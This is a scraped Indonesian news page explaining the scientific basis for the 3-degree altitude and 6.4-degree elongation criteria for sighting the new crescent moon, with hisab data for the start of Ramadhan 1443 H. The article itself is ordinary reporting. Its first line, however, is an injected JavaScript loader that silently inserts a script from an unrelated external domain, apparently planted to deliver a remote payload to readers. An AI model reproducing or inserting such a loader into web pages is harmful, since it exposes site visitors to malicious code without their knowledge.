(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Ini Alasan Kriteria Imkanur Rukyah Jadi 3 Derajat Tinggi Hilal dan 6,4 Derajat Elongasi


KANALKALIMANTAN.COM – Kriteria Imkanur Rukyah hilal awal bulan disepakati menjadi 3 derajat untuk tingginya dan 6,4 derajat untuk elongasinya. Hal ini bukan sekadar angka tawar-menawar, melainkan ada pertimbangan ilmiah.

Pakar Astronomi Prof Thomas Djamaluddin menjelaskan bahwa ketinggian hilal 3 derajat disepakati karena kekuatan cahaya bulan di bawah 3 derajat kalah dengan cahaya mega (syafaq). Kuatnya cahaya mega membuat hilal yang masih di bawah 3 derajat itu sulit untuk dapat teramati.

“Tidak ada data rukyat yang sahih di bawah 3 derajat. Itu cahaya syafaq masih cukup kuat. Didasarkan pada faktor gangguan cahaya syafaq,” kata Thomas dalam pemaparannya saat Seminar Posisi Hilal Penentu Awal Ramadhan 1443 Hijriah di Kementerian Agama, Jalan MH Thamrin, Jakarta, Jumat (1/4/2022).

“Hilal terlalu rendah dan tidak mungkin bisa mengalahkan cahaya syafaq sehingga tidak mungkin,” lanjutnya.

 

Baca juga  : Pemerintah Tetapkan Ramadhan 1443 Hijariyah Ahad 3 April 2022

Sementara itu, angka 6,4 derajat elongasi, jarak antara bulan dan matahari, dipilih karena mempertimbangkan kelihatan fisik hilal. Hal ini disebabkan jarak yang terlalu dekat membuat hilal sulit terlihat sebagaimana kriteria yang dulu ditetapkan hanya berjarak 3 derajat untuk elongasinya.

Thomas mencontohkan suatu pengamatan hilal di Madinah dengan tinggi 4 derajat dan elongasi 6 derajat. Pada gambar yang ditampilkan, ada tanda panah yang menunjuk pada posisi hilal. Namun, hal tersebut sangat sulit dilihat sehingga harus benar-benar jeli untuk dapat memastikan, bahwa coretan pada foto tersebut merupakan hilal awal bulan.

Oleh karena itu, Thomas menegaskan bahwa jika pada rukyatul hilal awal Ramadhan 1443 H ini ada yang mengaku melihat hilal itu kesaksiannya bisa tertolak. Sebab, jika mendasari keputusan itsbat pada kriteria imkanur rukyah yang baru, maka kondisi hilal masih di bawahnya sehingga tidak memungkinkan dapat terlihat.

“Kalau berdasarkan kriteria ini, itu bisa diduga yang dilihatnya bukan hilal,” kata Anggota Tim Unifikasi Kalender Hijriyah Kementerian Agama RI itu.

 

Baca juga  : Potensial Rukyat Hilal Awal Puasa Ramadhan 2022 Hari Minggu 3 April

Sebagaimana diketahui, data perhitungan ilmu falak menunjukkan rata-rata tinggi hilal pada Jumat, 1 April 2022 atau bertepatan dengan 29 Sya’ban 1443 H ini baru di kisaran 2 derajat dan elongasi 3 derajat.

Data perhitungan ilmu falak, LF PBNU menunjukkan keadaan hilal sudah berada di atas ufuk, tepatnya + 2 derajat 04 menit 12 detik dan lama hilal 9 menit 49 detik, dengan markaz Kantor PBNU, Jalan Kramat Raya 164, Jakarta, koordinat 6º 11’ 25” LS 106º 50’ 50” BT. Sementara konjungsi atau ijtimak bulan terjadi pada Jumat Pahing 1 April 2021 pukul 13:25:54 WIB.

Sementara itu, letak matahari terbenam berada pada posisi 4 derajat 34 menit 09 detik utara titik barat, sedangkan letak hilal pada posisi 2 derajat 48 menit 22 menit utara titik barat.

Adapun kedudukan hilal berada pada 1 derajat 45 menit 47 detik selatan matahari dalam keadaan miring ke selatan dengan elongasi 3 derajat 24 menit 06 detik.

 

Baca juga  : Sambut Ramadhan 1443 Hijriah, Ini Pesan Kadis Kominfo Kapuas

Berdasarkan hisab yang sama maka diketahui parameter hilal terkecil terjadi di Kota Jayapura, Papua, yakni sebesar +1 derajat 12 menit dengan elongasi 2 derajat 58 menit dan lama hilal 5 menit 48 detik. Sementara parameter hilal terbesar terjadi di Pelabuhan Ratu, Sukabumi, Jawa Barat dengan tinggi +2 derajat 06 menit, elongasi 3 derajat 04 menit, dan lama hilal 8 menit 42 detik.

Meskipun hilal sudah di atas ufuk, tetapi hilal belum memenuhi kriteria imkanur rukyah (kemungkinan hilal bisa dilihat/visibilitas). Sebagaimana diketahui, kriteria imkanur rukyah terbaru yang disepakati adalah tinggi hilal 3 derajat dan elongasi 6,4 derajat. (NUOnline/Syakir NF)

Reporter  : Syakir NF
Editor : kk


Desy Arfianty

Recent Posts

Kearifan Lokal Kalsel Harus Dibaca dan Ditulis Generasi Muda

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Perpustakaan dan Kearsipan Provinsi Kalimantan Selatan (Kalsel) menggelar acara sosialisasi budaya… Read More

5 jam ago

Sekda HSU Sampaikan Raperda Pertanggungjawaban Pelaksanaan APBD 2023, Ini Angka Detailnya

KANALKALIMANTAN.COM, AMUNTAI - Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi Lesmana menyebut capaian target… Read More

7 jam ago

Permudah Kebutuhan Transaksi Jemaah Haji di Tanah Suci dengan BRImo

KANALKALIMANTAN.COM- Ibadah haji merupakan salah satu impian bagi umat Islam di seluruh dunia. Agar ibadah… Read More

7 jam ago

Bawaslu Banjarbaru Seleksi Panwascam Hanya di Empat Kecamatan

KANALKALIMANTAN.COM, BANJARBARU - Badan Pengawas Pemilihan Umum (Bawaslu) Kota Banjarbaru tengah merekrut Panitia Pengawas Kecamatan… Read More

8 jam ago

Pemko Banjarbaru Bentuk Tim Desk Pilkada 2024

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru Provinsi Kalimantan Selatan (Kalsel) membentuk Tim Desk Pilkada… Read More

9 jam ago

Jelang Pilkada 2024, KPU HSU Melantik 50 Anggota PPK

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) resmi melantik 50… Read More

11 jam ago

This website uses cookies.